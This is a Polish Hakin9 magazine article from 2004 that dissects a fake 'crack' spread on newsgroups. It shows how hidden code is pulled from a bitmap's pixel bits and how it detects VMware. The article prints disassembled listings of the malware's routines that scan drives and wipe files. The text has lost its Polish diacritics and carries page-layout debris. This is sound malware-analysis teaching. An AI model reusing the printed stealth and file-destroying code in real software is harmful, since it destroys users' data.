-
Analiza dziaaniapodejrzanego programu
Bartosz Wjcik
Artyku opublikowany w numerze 6/2004 magazynu Hakin9Wszelkie
prawa zastrzeone. Bezpatne kopiowanie i rozpowszechnianie artykuu
dozwolone
pod warunkiem zachowania jego obecnej formy i treci.Magazyn
Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190
Warszawa, [email protected]
-
www.hakin9.org2 Hakin9 Nr 6/2004
Obr
ona
www.hakin9.org 3Hakin9 Nr 6/2004
Analiza podejrzanego programu
Pod koniec wrzenia 2004 roku na licie dyskusyjnej
pl.comp.programming po-jawi si post o temacie UNIWERSAL-NY CRACK DO
MKS-VIRA!!!! Znajdowa si w nim odnonik do archiwum crack.zip z
ma-ym plikiem wykonywalnym wewntrz. Z wy-powiedzi uytkownikw
wynikao, e program ten nie by crackiem w dodatku
najprawdo-podobniej zawiera podejrzany kod. Link do te-go samego
pliku znalaz si rwnie w postach na przynajmniej piciu innych
listach dyskusyj-nych (gdzie nie udawa ju cracka, ale na przy-kad
amacz hase Gadu-Gadu). Ciekawo sprawia, e zdecydowalimy si na
analiz po-dejrzanego pliku.
Taka analiza skada si z dwch etapw. Najpierw naley przyjrze si
oglnej budowie pliku wykonywalnego i zwrci uwag na jego list zasobw
(patrz Ramka Zasoby w progra-mach dla Windows) oraz ustali jzyk
progra-mowania, w ktrym napisano program. Trze-ba take sprawdzi,
czy plik wykonywalny zo-sta skompresowany (na przykad kompreso-rami
FSG, UPX, Aspack). Dziki tym informa-cjom bdzie wiadomo, czy od
razu przej do analizy kodu, czy te gdyby okazao si, e jest on
skompresowany najpierw rozpakowa
Analiza dziaania podejrzanego programuBartosz Wjcik
Warto zastanowi si nad uruchomieniem pobranego z sieci
przypadkowego pliku. Cho nie kady niesie ze sob zagroenie, atwo
trafi na zoliwy program wykorzystujcy nasz naiwno. Moemy za ni sono
zapaci. Zanim wic uruchomimy nieznany program, sprbujmy
przeanalizowa jego dziaanie.
plik. Analiza kodu skompresowanych plikw nie ma bowiem
sensu.
Drugim i najwaniejszym etapem bdzie analiza samego podejrzanego
programu oraz, ewentualnie, wyuskanie z pozornie niewin-nych zasobw
aplikacji ukrytego kodu. Pozwoli to dowiedzie si, jak dziaa program
i jakie s skutki jego uruchomienia. Jak si przekonamy, taka analiza
jest uzasadniona. Rzekomy crack z pewnoci nie naley do
nieszkodliwych pro-gramw. Jeli wic Czytelnik natrafi kiedykol-wiek
na rwnie podejrzany plik, gorco zach-camy do przeprowadzenia
podobnej analizy.
Szybkie rozpoznanieW pobranym archiwum crack.zip znajdowa si
jeden plik: patch.exe, ktry mia niecae 200
Z artykuu nauczysz si...
jak w systemie Windows przeprowadzi analiz nieznanego
programu.
Powiniene wiedzie... powiniene zna przynajmniej podstawy
pro-
gramowania w asemblerze i C++.
-
www.hakin9.org2 Hakin9 Nr 6/2004
Obr
ona
www.hakin9.org 3Hakin9 Nr 6/2004
Analiza podejrzanego programu
KB objtoci. Uwaga! Gorco zale-camy zmian rozszerzenia tego
pli-ku przed rozpoczciem jego bada-nia, na przykad na patch.bin.
Uchro-ni nas to przed przypadkowym uru-chomieniem nieznanego
programu skutki takiego bdu mogyby by bardzo powane.
W pierwszym etapie analizy mu-simy pozna budow podejrzanego
pliku. Do tego celu doskonale nada-je si identyfikator plikw
wykonywal-nych PEiD. Wbudowana we baza danych umoliwia okrelenie
jzyka uytego do stworzenia aplikacji oraz zidentyfikowanie
najpopularniejszych typw kompresorw i protektorw pli-kw
wykonywalnych. Mona te sko-rzysta z nieco starszego identyfika-tora
plikw FileInfo, nie jest on jednak tak dynamicznie rozwijany jak
PEiD i otrzymany wynik moe by mniej precyzyjny.
Jakie wic informacje uzyskali-my za pomoc PEiD? Strukturalnie
patch.exe jest 32-bitowym plikiem wykonywalnym w
charakterystycz-nym dla platformy Windows forma-cie Portable
Executable (PE). Wida (patrz Rysunek 1), e program zo-sta napisany
przy uyciu MS Visual C++ 6.0. Dziki PEiD wiemy take, i nie zosta on
ani skompresowany,
Zasoby w programach dla WindowsZasoby w aplikacjach dla systemw
Windows to dane definiujce dostp-ne dla uytkownika elementy
progra-mu. Dziki nim interfejs uytkownika jest jednolity, za
zastpienie jednego z elementw aplikacji bardzo atwe. Za-soby s
oddzielone od kodu programu. O ile edycja samego pliku
wykonywal-nego jest praktycznie niemoliwa, o ty-le modyfikacja
zasobu (na przykad za-miana ta okna) nie nastrcza trudnoci
wystarczy uy jednego z wielu do-stpnych w sieci narzdzi, na przykad
opisywanego eXeScope.
Zasoby mog mie posta prawie kadego formatu danych. Zwykle s to
pliki multimedialne (m. in. GIF, JPEG, AVI, WAVE), jednak mog by
take osobnymi programami wykonywalny-mi, plikami tekstowymi czy
dokumenta-mi HTML i RTF.
Rysunek 1. Identyfikator PEiD w akcji
Rysunek 2. Edytor zasobw eXeScope
Rysunek 3. Procedura WinMain() w deasemblerze IDA
-
www.hakin9.org4 Hakin9 Nr 6/2004
Obr
ona
ani zabezpieczony. Pozostae infor-macje, takie jak rodzaj
podsystemu, offset pliku czy tak zwany punkt wej-ciowy (ang.
entrypoint) s dla nas w tej chwili nieistotne.
Wiedza o strukturze podejrzane-go pliku to nie wszystko
koniecz-ne jest poznanie zasobw aplikacji.
Wykorzystamy do tego celu program eXeScope, ktry umoliwia
przegl-danie i edytowanie zasobw w pli-kach wykonywalnych (patrz
Rysu-nek 2).
Przegldajc plik w edytorze za-sobw natrafimy jedynie na
standar-dowe typy danych bitmap, jedno
okno dialogowe, ikon oraz manifest (okna aplikacji z tym zasobem
wyko-rzystuj w systemach Windows XP nowe style graficzne, bez niego
wy-wietlany jest standardowy, znany z systemw Windows 9x interfejs
graficzny). Na pierwszy rzut oka wy-daje si wic, e plik patch.exe
jest zupenie niewinn aplikacj. Pozory jednak mog myli. Aby zdoby
pew-no, musimy przeprowadzi mud-n analiz zdeasemblowanego pro-gramu
i jeli bdzie to konieczne odnale dodatkowy, ukryty we-wntrz pliku
kod.
Analiza koduDo przeprowadzenia analizy kodu podejrzanej
aplikacji wykorzystamy znakomity (komercyjny) deasembler IDA firmy
DataRescue. IDA uchodzi obecnie za najlepsze tego typu na-rzdzie
umoliwia szczegow analiz prawie wszystkich rodzajw plikw
wykonywalnych. Wersja de-monstracyjna, dostpna na stronie
internetowej producenta, umoliwia jedynie analiz plikw Portable
Exe-cutable ale to nam w zupenoci wystarczy, poniewa patch.exe jest
wanie w tym formacie.
Procedura WinMain()Po zaadowaniu pliku patch.exe do
dekompilatora IDA (patrz Rysu-nek 3) znajdziemy si w procedurze
WinMain(), ktra jest punktem wej-ciowym dla aplikacji napisanych w
jzyku C++. W rzeczywistoci punktem wejciowym kadej aplikacji jest
tak zwany entrypoint (ang. punkt wejcia), ktrego adres zapisany
jest w nagwku pliku PE i od ktrego za-czyna si wykonywanie kodu
aplika-cji. Jednak w przypadku programw C++ kod z prawdziwego
punktu wej-ciowego odpowiedzialny jest jedynie za inicjalizacj
wewntrznych zmien-nych programista nie ma na niego wpywu. Nas za
interesuje jedynie to, co zostao napisane przez progra-mist.
Procedura WinMain() widoczna jest na Listingu 1.
Taka posta kodu moe by trud-na do analizy aby uatwi jego
zro-zumienie, przetumaczymy go na j-zyk C++. Z prawie kadego
deadli-
Listing 1. Procedura WinMain()
.text:00401280 ; __stdcall WinMain(x,x,x,x)
.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p
.text:00401280
.text:00401280 hInstance = dword ptr 4
.text:00401280
.text:00401280 mov eax, [esp+hInstance]
.text:00401284 push 0 ; dwInitParam
.text:00401286 push offset DialogFunc ; lpDialogFunc
.text:0040128B push 0 ; hWndParent
.text:0040128D push 65h ; lpTemplateName
.text:0040128F push eax ; hInstance
.text:00401290 mov dword_405554, eax
.text:00401295 call ds:DialogBoxParamA
.text:00401295 ; Create a model dialog box from a
.text:00401295 ; dialog box template resource
.text:0040129B mov eax, hHandle
.text:004012A0 push INFINITE ; dwMilliseconds
.text:004012A2 push eax ; hHandle
.text:004012A3 call ds:WaitForSingleObject
.text:004012A9 retn 10h
.text:004012A9 _WinMain@16 endp
Listing 2. Procedura WinMain() przetumaczona na jzyk C++
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
// wywietl okno dialogowe
DialogBoxParam(hInstance, IDENTYFIKATOR_OKNA,
NULL, DialogFunc, 0);
// zakocz program, dopiero wtedy,
// gdy zwolniony zostanie uchwyt hHandle
return WaitForSingleObject(hHandle, INFINITE);
}
Listing 3. Fragment kodu odpowiedzialny za zapis do zmiennej
.text:004010F7 mov edx, offset lpInterfejs
.text:004010FC mov eax, lpWskaznikKodu
.text:00401101 jmp short loc_401104 ; tajemniczy "call"
.text:00401103 db 0B8h ; mieci, tzw. "junk"
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; tajemniczy "call"
.text:00401106 db 0 ; mieci
.text:00401107 db 0 ; jak wyej
.text:00401108 mov hHandle, eax ; ustawienie uchwytu
.text:0040110D pop edi
.text:0040110E mov eax, 1
.text:00401113 pop esi
.text:00401114 retn
-
www.hakin9.org 5Hakin9 Nr 6/2004
Analiza podejrzanego programu
stingu (zdeasemblowanego kodu) mona, z wikszymi lub mniejszymi
trudnociami, zrekonstruowa kod w jzyku programowania, w ktrym
oryginalnie zosta napisany. Narz-dzia takie jak IDA dostarczaj
jedy-nie podstawowych informacji, takich jak konwencje wywoywania
funk-cji (na przykad stdcall czy cdecl). Cho istniej specjalne
pluginy dla IDA umoliwiajce prost dekompi-lacj kodu x86, to wynik
ich dziaania pozostawia wiele do yczenia.
Aby dokona takiej translacji, na-ley przeanalizowa struktur
funk-cji, wyodrbni zmienne lokalne i wreszcie odnale w kodzie
odwo-ania do zmiennych globalnych. In-formacje dostarczane przez
IDA wy-starcz do ustalenia, jakie parametry (i ile) przyjmuje
analizowana funk-cja. Dodatkowo dziki deasemblero-wi dowiemy si,
jakie wartoci zwra-ca dana funkcja, z jakich procedur WinApi
korzysta oraz do jakich da-nych si odwouje. Naszym poczt-kowym
zadaniem jest zdefiniowanie typu funkcji, konwencji jej wywoania i
typw parametrw. Nastpnie, wy-korzystujc dane z IDA, definiujemy
zmienne lokalne funkcji.
Gdy oglny zarys funkcji zosta-nie stworzony, mona wzi si za
odtworzenie kodu. Pierwszym kro-kiem jest odbudowa wywoa innych
funkcji (WinApi, ale nie tylko, bo tak-e odwoa do wewntrznych
funkcji programu) na przykad dla funkcji WinApi analizujemy kolejno
zapa-mitywane parametry, ktre zapi-sywane s na stosie instrukcj
push w kolejnoci odwrotnej (od ostat-niego parametru do
pierwszego), ni nastpuje ich zapis w wywoa-niu funkcji w
oryginalnym kodzie. Po zgromadzeniu informacji o wszyst-kich
parametrach mona odtwo-rzy oryginalne odwoanie do funk-cji.
Najtrudniejszym elementem re-konstrukcji kodu programu (w jzyku
wysokiego poziomu) jest odtworze-nie logiki dziaania umiejtne
roz-poznanie operatorw logicznych (or, xor, not) i arytmetycznych
(dodawa-nie, odejmowanie, mnoenie, dziele-nie) oraz instrukcji
warunkowych, (if, else, switch) czy wreszcie ptli (for,
while, do). Dopiero wszystkie te in-formacje zebrane w cao
pozwala-j przeoy kod asemblera na jzyk uyty do stworzenia
aplikacji.
Wynika z tego, e translacja ko-du na jzyk wysokiego poziomu
wy-maga ludzkiej pracy oraz dowiad-czenia w badaniu kodu i
programo-waniu. Na szczcie przeoenie nie jest konieczne do naszej
analizy, je-dynie j uatwia. Przetumaczon na C++ procedur WinMain()
mona znale na Listingu 2.
Jak widzimy, w programie naj-pierw wywoywana jest procedu-ra
DialogBoxParam(), wywietlaj-ca okno dialogowe. Jego identyfi-kator
okrela okno zapisane w za-sobach pliku wykonywalnego. Na-stpnie
wywoywana jest procedu-
ra WaitForSingleObject() i program koczy dziaanie. Z tego kodu
mo-na wywnioskowa, e program wy-wietla okno dialogowe, nastpnie po
jego zamkniciu (gdy ju nie b-dzie widoczne) czeka tak dugo, do-pki
nie zostanie zwolniony uchwyt hHandle. Mwic najprociej: pro-gram
nie zakoczy dziaania, dopki nie zakoczy si wykonywanie inne-go
kodu, zainicjowanego wczeniej przez WinMain(). Najczciej w ten
sposb czeka si na zakoczenie pracy kodu uruchomionego w od-dzielnym
wtku (ang. thread).
C taki prosty program mo-e chcie zrobi tu po zamkniciu gwnego
okna? Najprawdopodob-niej co zego. Trzeba wic znale w kodzie
miejsce, w ktrym ustawia-
Rysunek 4. Okno referencji w programie IDA
Listing 4. Kod odpowiedzialny za zapis do zmiennej w edytorze
Hiew
.00401101: EB01 jmps .000401104 ; skok w rodek instrukcji
.00401103: B8FFD00000 mov eax,00000D0FF ; ukryta instrukcja
.00401108: A3E4564000 mov [004056E4],eax ; ustawienie
uchwytu
.0040110D: 5F pop edi
.0040110E: B801000000 mov eax,000000001
.00401113: 5E pop esi
.00401114: C3 retn
Listing 5. Zmienna lpWskaznikKodu
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwRozmiarBitmapy, ecx ; zapisz rozmiar
bitmapy
.text:0040107D call ds:VirtualAlloc ; alokuj pami, adres
zaalokowanego
.text:0040107D ; bloku znajdzie si w rejestrze eax
.text:00401083 mov ecx, dwRozmiarBitmapy
.text:00401089 mov edi, eax ; edi = adres zaalokowanej
pamici
.text:0040108B mov edx, ecx
.text:0040108D xor eax, eax
.text:0040108F shr ecx, 2
.text:00401092 mov lpWskaznikKodu, edi ; zapisz adres
zaalokowanej pamici
.text:00401092 ; do zmiennej lpWskaznikKodu
-
www.hakin9.org6 Hakin9 Nr 6/2004
Obr
ona
ny jest uchwyt hHandle skoro jest odczytywany, to wczeniej musi
zo-sta gdzie zapisany. Aby to zrobi w deasemblerze IDA, naley
klik-n nazw zmiennej hHandle. W ten sposb znajdziemy si w miejscu
jej pooenia w sekcji danych (uchwyt
hHandle to po prostu 32-bitowa war-to typu DWORD):
.data:004056E4 ; HANDLE hHandle
.data:004056E4 hHandle
dd 0
; DATA XREF: .text:00401108w
.data:004056E4
; WinMain(x,x,x,x)+1Br
Po prawej stronie od nazwy zmien-nej znajduj si tak zwane
referen-cje (patrz Rysunek 4) informa-cje o miejscach w kodzie, z
ktrych zmienna jest odczytywana lub mo-dyfikowana.
Tajemnicze referencjePrzyjrzyjmy si referencjom uchwy-tu
hHandle. Jednym z tych miejsc jest przedstawiona wczeniej procedura
WinMain(), w ktrej zmienna jest od-czytywana (mwi nam o tym litera
r, od angielskiego read). Bardziej god-na uwagi jest jednak druga
referen-cja (na licie znajduje si jako pierw-sza), ktrej opis mwi,
e zmienna hHandle jest w tym miejscu modyfiko-wana (litera w, od
angielskiego wri-te). Teraz wystarczy w ni klikn, aby znale si we
fragmencie kodu odpowiedzialnym za zapis do zmien-nej. Fragment ten
przedstawiono na Listingu 3.
Krtkie wyjanienie do tego ko-du: najpierw do rejestru eax
wczy-tywany jest wskanik do obsza-ru, w ktrym znajduje si kod (mov
eax, lpWskaznikKodu). Nastpnie wykonywany jest skok do instrukcji
wywoujcej procedur (jmp short loc _ 401104). Gdy procedura ta
zo-stanie ju wywoana, w rejestrze eax znajdzie si warto uchwytu
(zwy-kle wszystkie procedury zwraca-j wartoci i kody bdw wanie w
tym rejestrze procesora), ktra na-stpnie zostanie zapisana do
zmien-nej hHandle.
Kto, kto dobrze zna asembler, na pewno zauway, e ten fragment
kodu wyglda podejrzanie (niestan-dardowo w porwnaniu do zwyke-go
skompilowanego kodu C++). De-asembler IDA nie pozwala jednak na
ukrywanie czy zamazywanie in-strukcji. Skorzystajmy wic z edyto-ra
szesnastkowego Hiew, aby jesz-cze raz przeledzi ten sam kod
(Li-sting 4).
Nie wida tu instrukcji call eax, gdy jej opcody (bajty
instrukcji) zo-stay wstawione w rodek instruk-cji mov eax, 0xD0FF.
Dopiero po za-
Listing 6. Fragment kodu odpowiedzialny za wydobycie danych z
bitmapy
.text:004010BE kolejny_bajt: ; CODE XREF: .text:004010F4j
.text:004010BE mov edi, lpWskaznikKodu
.text:004010C4 xor ecx, ecx
.text:004010C6 jmp short loc_4010CE
.text:004010C8 kolejny_bit: ; CODE XREF: .text:004010E9j
.text:004010C8 mov edi, lpWskaznikKodu
.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj
.text:004010CE ; .text:004010C6j
.text:004010CE mov edx, lpWskaznikBitmapy
.text:004010D4 mov bl, [edi+eax] ; "poskadany" bajt kodu
.text:004010D7 mov dl, [edx+esi] ; kolejny bajt skadowej kolorw
RGB
.text:004010DA and dl, 1 ; maskuj najmniej znaczcy bit
skadowej
kolorw
.text:004010DD shl dl, cl ; bit skadowej RGB
-
www.hakin9.org 7Hakin9 Nr 6/2004
Analiza podejrzanego programu
mazaniu pierwszego bajtu instrukcji mov zobaczymy, jaki kod
zostanie na-prawd wykonany:
.00401101: EB01
jmps .000401104
; skok w rodek instrukcji
.00401103: 90
nop
; zamazany 1 bajt instrukcji "mov"
.00401104: FFD0
call eax
; ukryta instrukcja
Wrmy do kodu wywoywanego in-strukcj call eax. Naleaoby si
do-wiedzie, dokd prowadzi adres za-pisany w rejestrze eax. Powyej
in-strukcji call eax znajduje si instruk-cja, ktra do rejestru eax
wpisuje war-to zmiennej lpWskaznikKodu (nazw zmiennej mona w IDA
dowolnie zmie-ni, eby atwiej byo zrozumie kod wystarczy na ni
najecha kurso-rem, wcisn klawisz N i wprowadzi now nazw). Aby
dowiedzie si, co zostao zapisane do tej zmiennej, zno-wu posuymy si
referencjami:
.data:004056E8
lpWskaznikKodu dd 0
; DATA XREF: .text:00401092w
.data:004056E8
; .text:004010A1r
.data:004056E8
; .text:004010BEr
.data:004056E8
; .text:004010C8r
.data:004056E8
; .text:004010FCr
Zmienna lpWskaznikKodu domylnie ustawiona jest na 0 i przyjmuje
inn warto tylko w jednym miejscu ko-du. Klikajc na referencj zapisu
do zmiennej, znajdziemy si w kodzie przedstawionym na Listingu 5.
Jak wida, zmienna lpWskaznikKodu usta-wiana jest na adres pamici
zaaloko-wanej funkcj VirtualAlloc().
Pozostaje nam sprawdzi, co kryje si w tym tajemniczym
frag-mencie kodu.
Podejrzana bitmapaPrzegldajc wczeniejsze fragmen-ty deadlistingu
mona zauway, e
Listing 8. Kod pobierajcy dane z bitmapy przetumaczony na jzyk
C++
unsigned int i = 0, j = 0, k;
unsigned int dwRozmiarBitmapy;
// oblicz ile bajtw zajmuj wszystkie piksele w pliku bitmapy
dwRozmiarBitmapy = szerokosc_bitmapy * wysokosc_bitmapy * 3;
while (i < dwRozmiarBitmapy) {
// poskadaj 8 bitw skadowych barw RGB w 1 bajt kodu
for (k = 0; k < 8; k++) {
lpWskaznikKodu[j] |= (lpWskaznikBitmapy[i++] & 1)
-
www.hakin9.org8 Hakin9 Nr 6/2004
Obr
ona
z zasobw pliku patch.exe adowa-na jest jego jedyna bitmapa.
Nastp-nie ze skadowych barw RGB kolej-nych pikseli skadane s bajty
ukry-tego kodu, ktre nastpnie zapisy-wane s do wczeniej
zaalokowa-nej pamici (ktrej adres zapisany jest w zmiennej
lpWskaznikKodu). Klu-czowy fragment kodu, odpowiedzial-ny za
wydobycie danych z bitmapy, przedstawiono na Listingu 6.
W kodzie na Listingu 6 mona wyrni dwie ptle. Jedna z nich
(wewntrzna) odpowiada za po-bieranie kolejnych bajtw tworz-cych
skadowe kolorw RGB (Red czerwony, Green zielony, Blue niebieski)
pikseli bitmapy. Bitma-pa w naszym przypadku zapisa-na jest w
formacie 24bpp (24 bity na piksel), wic kady piksel opi-sany jest
trzema uoonymi jeden
za drugim bajtami koloru w forma-cie RGB.
Z kolejnych omiu pobranych baj-tw maskowane s najmniej znacz-ce
bity (instrukcj and dl, 1), ktre poskadane w cao tworz jeden bajt
kodu. Gdy ten bajt zostanie ju zoony, zostaje ostatecznie zapi-sany
do bufora lpWskaznikKodu. Na-stpnie w ptli zewntrznej indeks dla
wskanika lpWskaznikKodu jest inkrementowany tak, by wskazywa na
miejsce, w ktrym bdzie mona umieci kolejny bajt kodu po czym wraca
do pobierania kolejnych omiu bajtw skadowych kolorw.
Ptla zewntrzna wykonuje si tak dugo, a ze wszystkich pikseli
bitmapy zostan wydobyte potrzeb-ne bajty ukrytego kodu. Liczba
po-wtrze ptli jest rwna liczbie pik-seli bitmapy, pobieranej
bezpored-nio z jej nagwka, a konkretnie z ta-kich danych jak
szeroko i wyso-ko (w pikselach) wida to na Li-stingu 7.
Po wczytaniu bitmapy z zaso-bw pliku wykonywalnego w reje-strze
eax znajdzie si adres poczt-ku bitmapy, ktry okrela jej nag-wek. Z
nagwka pobierane s wy-miary bitmapy, nastpnie szero-ko mnoona jest
przez wysoko bitmapy (w pikselach), co w wyni-ku da nam czn liczb
pikseli bit-mapy. Jednak w zwizku z tym, e kady piksel opisany jest
trzema bajtami, wynik mnoony jest do-datkowo tyle wanie razy.
Otrzy-mujemy w ten sposb finalny roz-miar danych opisujcych
wszyst-kie piksele. Aby uatwi zrozumie-nie, przeoony na C++ kod
pobie-rajcy dane z bitmapy przedstawia-my na Listingu 8.
Nasze poszukiwania zakoczy-y si sukcesem wiemy ju, gdzie ukryty
jest podejrzany kod. Taj-ne dane zostay zapisane na po-zycjach
najmniej znaczcych bitw kolejnych skadowych RGB pikse-li. Dla
ludzkiego oka zmodyfikowa-na w ten sposb bitmapa jest prak-tycznie
nie do odrnienia od ory-ginalnej rnice s zbyt subtelne, w dodatku
musielibymy posiada pierwotny obrazek.
Listing 11. Dodatkowy wtek wykonanie ukrytego kodu
kod_wykonywany_w_watku: ; DATA XREF: seg000:00000000r
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, [ebp+8] ; offset interfejsu z
; adresami funkcji WinApi
; pod WindowsNT nie wykonuj instrukcji "in"
; spowodowaoby to zawieszenie si aplikacji
cmp [ebx+interfejs.bIsWindowsNT], 1
jz short nie_wykonuj
; wykrywanie wirtualnej maszyny Vmware, jeli wykryto,
; e program dziaa pod emulatorem, kod koczy dziaanie
mov ecx, 0Ah
mov eax, 'VMXh'
mov dx, 'VX'
in eax, dx
cmp ebx, 'VMXh' ; wykrywanie VMware
jz loc_1DB
nie_wykonuj: ; CODE XREF: seg000:00000023j
mov ebx, [ebp+8] ; offset interfejsu z adresami funkcji
WinApi
call loc_54
aCreatefilea db 'CreateFileA',0
loc_54: ; CODE XREF: seg000:00000043p
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.CreateFileA], eax
call loc_6E
aSetendoffile db 'SetEndOfFile',0
loc_6E: ; CODE XREF: seg000:0000005Cp
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.SetEndOfFile], eax
...
call loc_161
aSetfileattribu db 'SetFileAttributesA',0
loc_161: ; CODE XREF: seg000:00000149 p
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.SetFileAttributesA], eax
lea edi, [ebx+interfejs.stFindData] ; WIN32_FIND_DATA
call skanuj_dyski ; skanowanie stacji dyskw
sub eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
retn 4 ; tutaj koczy si dziaanie wtku
-
www.hakin9.org 9Hakin9 Nr 6/2004
Analiza podejrzanego programu
Kto, kto zada sobie tyle tru-du, by ukry may kawaek kodu, z
pewnoci nie mia czystych inten-cji. Przed nami kolejne nieatwe
za-danie ukryty kod trzeba wydoby z bitmapy, a nastpnie zbada jego
zawarto.
Metoda wydobycia koduSamo wyizolowanie ukrytego ko-du nie jest
skomplikowane mona po prostu uruchomi podejrzany plik patch.exe i,
posugujc si debug-gerem (na przykad SoftIce czy Ol-lyDbg), zrzuci
przetworzony ju kod z pamici. Lepiej jednak nie ryzyko-wa nie
wiadomo, jakie skutki mo-e przynie przypadkowe urucho-mienie
programu.
Podczas tej analizy wykorzysta-limy wasnorcznie napisany pro-sty
program, ktry bez uruchamiania aplikacji wydobywa z bitmapy ukry-ty
kod (plik decoder.exe autorstwa Bartosza Wjcika, wraz z kodem
rdowym i zrzuconym ju ukry-tym kodem, znajduje si na Hakin9 Live).
Jego dziaanie polega na za-adowaniu bitmapy z zasobw pliku
patch.exe i wydobyciu z niej ukryte-go kodu. Program decoder.exe
uy-wa opisanego wczeniej algorytmu, zastosowanego w oryginalnym
pro-gramie patch.exe.
Ukryty kodCzas na analiz wydobytego ukry-tego kodu. Cao (bez
komenta-rzy) zawiera si w niecaym kilobaj-cie, mona j znale na
doczo-nym do pisma Hakin9 Live. Tutaj omwimy ogln zasad dziaania
kodu oraz jego najbardziej interesu-jce fragmenty.
Aby badany kod mg funkcjo-nowa, musi mie dostp do funkcji
systemu Windows (WinApi). W tym przypadku dostp do funkcji WinApi
realizowany jest poprzez specjaln struktur interfejs (patrz Listing
9), ktrej adres przekazywany jest w re-jestrze edx do ukrytego
kodu. Struk-tura ta jest zapisana w sekcji danych gwnego
programu.
Przed uruchomieniem ukryte-go kodu najpierw adowane s
bi-blioteki systemowe kernel32.dll
Listing 12. Procedura skanujca system w poszukiwaniu dyskw
skanuj_dyski proc near ; CODE XREF: seg000:0000016Cp
var_28 = byte ptr -28h
pusha
push '\:Y' ; skanowanie dyskw zaczyna si od dysku Y:\
nastepny_dysk: ; CODE XREF: skanuj_dyski+20j
push esp ; adres nazwy dysku na stosie (Y:\, X:\, W:\ itd.)
call [ebx+interfejs.GetDriveTypeA] ; GetDriveTypeA
sub eax, 3
cmp eax, 1
ja short cdrom_itp ; kolejna litera dysku twardego
mov edx, esp
call wymaz_pliki
cdrom_itp: ; CODE XREF: skanuj_dyski+10j
dec byte ptr [esp+0] ; kolejna litera dysku twardego
cmp byte ptr [esp+0], 'C' ; sprawdz, czy doszo do dysku C:\
jnb short nastepny_dysk ; powtarzaj skanowanie kolejnego
dysku
pop ecx
popa
retn
skanuj_dyski endp
Listing 13. Procedura wyszukujca pliki na partycji
wymaz_pliki proc near ; CODE XREF: skanuj_dyski+14p,
wymaz_pliki+28p
pusha
push edx
call [ebx+interfejs.SetCurrentDirectoryA]
push '*' ; maska szukanych plikw
mov eax, esp
push edi
push eax
call [ebx+interfejs.FindFirstFileA]
pop ecx
mov esi, eax
inc eax
jz short nie_ma_wiecej_plikow
znaleziono_plik:; CODE XREF: wymaz_pliki+39j
test byte ptr [edi], 16 ; czy to katalog?
jnz short znaleziono_katalog
call zeruj_rozmiar_pliku
jmp short szukaj_nastepnego_pliku
znaleziono_katalog: ; CODE XREF: wymaz_pliki+17j
lea edx, [edi+2Ch]
cmp byte ptr [edx], '.'
jz short szukaj_nastepnego_pliku
call wymaz_pliki ; rekursywne skanowanie katalogw
szukaj_nastepnego_pliku: ; CODE XREF: wymaz_pliki+1Ej,
wymaz_pliki+26j
push 5
call [ebx+interfejs.Sleep]
push edi
push esi
call [ebx+interfejs.FindNextFileA]
test eax, eax
jnz short znaleziono_plik ; czy to katalog?
nie_ma_wiecej_plikow: ; CODE XREF: seg000:0000003Aj,
wymaz_pliki+12j
push esi
call [ebx+interfejs.FindClose]
push '..' ; cd ..
push esp
call [ebx+interfejs.SetCurrentDirectoryA]
pop ecx
popa
retn
wymaz_pliki endp
-
www.hakin9.org10 Hakin9 Nr 6/2004
Obr
ona
i user32.dll. Ich uchwyty zostaj za-pisane do struktury
interfejs. Na-stpnie w strukturze zapisywane s adresy funkcji
GetProcAddress() i CreateThread() oraz znacznik okre-lajcy, czy
program uruchomiony zosta pod systemem Windows NT/XP. Uchwyty
systemowych bibliotek i dostp do funkcji GetProcAddress() w
praktyce umoliwiaj pobranie ad-resu dowolnej procedury i kadej
bi-blioteki, nie tylko systemowej.
Gwny wtekDziaanie ukrytego kodu rozpoczy-na si od uruchomienia
przez pro-gram gwny dodatkowego wtku przy wykorzystaniu adresu
proce-dury CreateThread(), wczeniej zapi-sanej w strukturze
interfejs. Po wy-woaniu CreateThread(), w rejestrze
eax zwrcony zostaje uchwyt nowo utworzonego wtku (lub 0 w
przy-padku bdu), ktry po powrocie do kodu gwnego programu
zapisywa-ny jest w zmiennej hHandle (patrz Li-sting 10).
Spjrzmy na Listing 11, pokazu-jcy wtek odpowiedzialny za
wy-konanie ukrytego kodu. Do proce-
dury uruchomionej w wtku przeka-zywany jest jeden parametr w tym
wypadku adres struktury interfejs. Procedura ta natomiast
spraw-dza, czy program zosta urucho-miony w rodowisku Windows NT.
Dzieje si tak dlatego, e procedu-ra przebiegle prbuje wykry
ewen-tualn obecno wirtualnej maszyny Vmware (jeli j wykryje,
zakoczy dziaanie), wykorzystujc do tego ce-lu instrukcj asemblera
in. Instrukcja ta moe suy do odczytywania da-nych z portw I/O w
naszej sytuacji odpowiada za wewntrzn komuni-kacj z oprogramowaniem
Vmware. Jej wykonanie w systemie z rodziny Windows NT, w
przeciwiestwie do Windows 9x, powoduje zawieszenie programu.
Nastpnym krokiem jest pobra-nie dodatkowych funkcji
WinApiwykorzystywanych przez ukry-ty kod i zapisanie ich do
struktury interfejs. Natomiast gdy ju pobra-ne zostan wszystkie
adresy proce-dur, zostaje uruchomiona procedu-ra skanuj _ dyski,
sprawdzajca ko-lejne stacje dyskw (kocowa cz Listingu 11).
Poszlaka skaner dyskwWywoanie procedury skanuj _ dyski to
pierwszy widoczny znak, e ce-lem ukrytego kodu jest destrukcja w
jakim celu bowiem rzekomy crack miaby przeczesywa wszyst-kie napdy
komputera? Skanowa-nie rozpoczyna si od stacji ozna-czonej liter
Y:\ i zmierza w kie-runku pocztkowego, dla wikszo-ci uytkownikw
najwaniejsze-go napdu C:\ . Do okrelenia typu stacji wykorzystywana
jest funkcja GetDriveTypeA(), ktra po podaniu li-
